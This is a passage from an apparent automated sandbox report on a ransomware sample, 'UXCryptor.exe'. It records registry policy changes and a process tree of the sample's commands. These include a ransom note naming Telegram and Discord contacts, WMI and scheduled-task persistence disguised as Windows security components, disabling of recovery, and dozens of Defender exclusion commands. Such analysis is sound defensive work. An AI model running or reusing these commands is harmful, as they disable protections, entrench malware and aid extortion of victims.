PID 2972 wrote to memory of 2920	2972	UXCryptor.exe	146
PID 2972 wrote to memory of 4200	2972	UXCryptor.exe	147
PID 2972 wrote to memory of 1624	2972	UXCryptor.exe	148
PID 2972 wrote to memory of 2780	2972	UXCryptor.exe	149
PID 2972 wrote to memory of 1360	2972	UXCryptor.exe	150
PID 2972 wrote to memory of 4192	2972	UXCryptor.exe	151
PID 2972 wrote to memory of 2708	2972	UXCryptor.exe	153
PID 2972 wrote to memory of 2472	2972	UXCryptor.exe	154
PID 2972 wrote to memory of 744	2972	UXCryptor.exe	156
PID 2972 wrote to memory of 4292	2972	UXCryptor.exe	157
PID 2972 wrote to memory of 2796	2972	UXCryptor.exe	159

System policy modification 1 TTPs 64 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesMyComputer = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoDispBackgroundPage = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktopContextMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuMFUprogramsList = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\HidePowerOptions = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommonGroups = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive = "67108863"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSecurityTab = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoDispAppearancePage = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuMorePrograms = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoDispBackgroundPage = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoDispAppearancePage = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive = "67108863"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkStation = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommonGroups = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoThemesTab = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuMFUprogramsList = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoThemesTab = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoThemesTab = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoDispAppearancePage = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoThemesTab = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesMyComputer = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktopContextMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesMyComputer = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSecurityTab = "1"	UXCryptor.exe

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Windows security bypass
- Boot or Logon Autostart Execution: Active Setup
- Disables RegEdit via registry modification
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Modifies WinLogon
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2972
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2760
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1688
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3744
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3760
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2324
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2676
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /f /im Explorer.exe
  2⤵
  - Kills process with taskkill
  PID:816
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /create /tn "WindowsDefenderUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" /sc onlogon /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3520
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="WindowsSecurityFilter", EventNamespace="root\cimv2", Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'"
  2⤵
  PID:4436
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="WindowsSecurityConsumer", CommandLineTemplate="C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
  2⤵
  PID:4828
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WindowsSecurityFilter\"", Consumer="CommandLineEventConsumer.Name=\"WindowsSecurityConsumer\""
  2⤵
  PID:3712
- C:\Windows\SysWOW64\sc.exe
  sc create WindowsSecurityService binPath= "C:\Windows\system32\winsecsvc.exe" start= auto DisplayName= "Windows Security Service"
  2⤵
  - Launches sc.exe
  PID:3200
- C:\Windows\SysWOW64\sc.exe
  sc description WindowsSecurityService "Provides Windows security and update management."
  2⤵
  - Launches sc.exe
  PID:1756
- C:\Windows\SysWOW64\sc.exe
  sc start WindowsSecurityService
  2⤵
  - Launches sc.exe
  PID:4672
- C:\Windows\SysWOW64\reagentc.exe
  reagentc.exe /disable
  2⤵
  PID:1872
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:' -ErrorAction SilentlyContinue"
  2⤵
  PID:4544
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'E:' -ErrorAction SilentlyContinue"
  2⤵
  PID:2388
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'F:' -ErrorAction SilentlyContinue"
  2⤵
  PID:1108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'exe' -ErrorAction SilentlyContinue"
  2⤵
  PID:1648
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dll' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3316
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'msi' -ErrorAction SilentlyContinue"
  2⤵
  PID:3020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sys' -ErrorAction SilentlyContinue"
  2⤵
  PID:1644
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'drv' -ErrorAction SilentlyContinue"
  2⤵
  PID:1660
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ocx' -ErrorAction SilentlyContinue"
  2⤵
  PID:116
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cpl' -ErrorAction SilentlyContinue"
  2⤵
  PID:232
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'scr' -ErrorAction SilentlyContinue"
  2⤵
  PID:3716
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bat' -ErrorAction SilentlyContinue"
  2⤵
  PID:3484
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cmd' -ErrorAction SilentlyContinue"
  2⤵
  PID:3252
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'com' -ErrorAction SilentlyContinue"
  2⤵
  PID:4608
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbs' -ErrorAction SilentlyContinue"
  2⤵
  PID:3044
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbe' -ErrorAction SilentlyContinue"
  2⤵
  PID:632
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'js' -ErrorAction SilentlyContinue"
  2⤵
  PID:388
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jse' -ErrorAction SilentlyContinue"
  2⤵
  PID:3324
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3636
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsh' -ErrorAction SilentlyContinue"
  2⤵
  PID:3612
- - C:\Windows\SysWOW64\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3612" "1884" "1804" "1888" "0" "0" "1892" "0" "0" "0" "0" "0"
    3⤵
    PID:1496
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps1' -ErrorAction SilentlyContinue"
  2⤵
  PID:3460
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps2' -ErrorAction SilentlyContinue"
  2⤵
  PID:3332
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psm1' -ErrorAction SilentlyContinue"
  2⤵
  PID:5060
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd1' -ErrorAction SilentlyContinue"
  2⤵
  PID:1516
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jar' -ErrorAction SilentlyContinue"
  2⤵
  PID:5020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'java' -ErrorAction SilentlyContinue"
  2⤵
  PID:4316
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'class' -ErrorAction SilentlyContinue"
  2⤵
  PID:2452
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'py' -ErrorAction SilentlyContinue"
  2⤵
  PID:444
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyw' -ErrorAction SilentlyContinue"
  2⤵
  PID:1584
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyc' -ErrorAction SilentlyContinue"
  2⤵
  PID:1112
- - C:\Windows\SysWOW64\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1112" "2640" "2572" "2644" "0" "0" "2648" "0" "0" "0" "0" "0"
    3⤵
    PID:17664
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rb' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1332
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rbw' -ErrorAction SilentlyContinue"
  2⤵
  PID:4708
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pl' -ErrorAction SilentlyContinue"
  2⤵
  PID:1456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pm' -ErrorAction SilentlyContinue"
  2⤵
  PID:4724
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php' -ErrorAction SilentlyContinue"
  2⤵
  PID:4620
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php3' -ErrorAction SilentlyContinue"
  2⤵
  PID:4676
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php4' -ErrorAction SilentlyContinue"
  2⤵
  PID:3764
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php5' -ErrorAction SilentlyContinue"
  2⤵
  PID:4420
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'phtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:2920
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asp' -ErrorAction SilentlyContinue"
  2⤵
  PID:4200
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aspx' -ErrorAction SilentlyContinue"
  2⤵
  PID:1624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ascx' -ErrorAction SilentlyContinue"
  2⤵
  PID:2780
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2780 -s 2368
    3⤵
    - Program crash
    PID:8560
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ashx' -ErrorAction SilentlyContinue"
  2⤵
  PID:1360
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asmx' -ErrorAction SilentlyContinue"
  2⤵
  PID:4192
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'axd' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2708
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svc' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2472
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xaml' -ErrorAction SilentlyContinue"
  2⤵
  PID:744
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'htm' -ErrorAction SilentlyContinue"
  2⤵
  PID:4292
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'html' -ErrorAction SilentlyContinue"
  2⤵
  PID:2796
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'shtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:3024
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xhtml' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3240
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xml' -ErrorAction SilentlyContinue"
  2⤵
  PID:880
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xsl' -ErrorAction SilentlyContinue"
  2⤵
  PID:3384
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xslt' -ErrorAction SilentlyContinue"
  2⤵
  PID:3052
- - C:\Windows\SysWOW64\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3052" "2472" "2416" "2476" "0" "0" "2480" "0" "0" "0" "0" "0"
    3⤵
    PID:14992
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsdl' -ErrorAction SilentlyContinue"
  2⤵
  PID:2004
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2004 -s 2040
    3⤵
    - Program crash
    PID:11916
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vsto' -ErrorAction SilentlyContinue"
  2⤵
  PID:4884
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xla' -ErrorAction SilentlyContinue"
  2⤵
  PID:396
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlam' -ErrorAction SilentlyContinue"
  2⤵
  PID:1352
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xll' -ErrorAction SilentlyContinue"
  2⤵
  PID:4940
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlw' -ErrorAction SilentlyContinue"
  2⤵
  PID:4568
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xls' -ErrorAction SilentlyContinue"
  2⤵
  PID:3576
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsx' -ErrorAction SilentlyContinue"
  2⤵
  PID:4256
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsm' -ErrorAction SilentlyContinue"
  2⤵
  PID:4804
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsb' -ErrorAction SilentlyContinue"
  2⤵
  PID:2564
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlt' -ErrorAction SilentlyContinue"
  2⤵
  PID:4464
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltx' -ErrorAction SilentlyContinue"
  2⤵
  PID:3040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
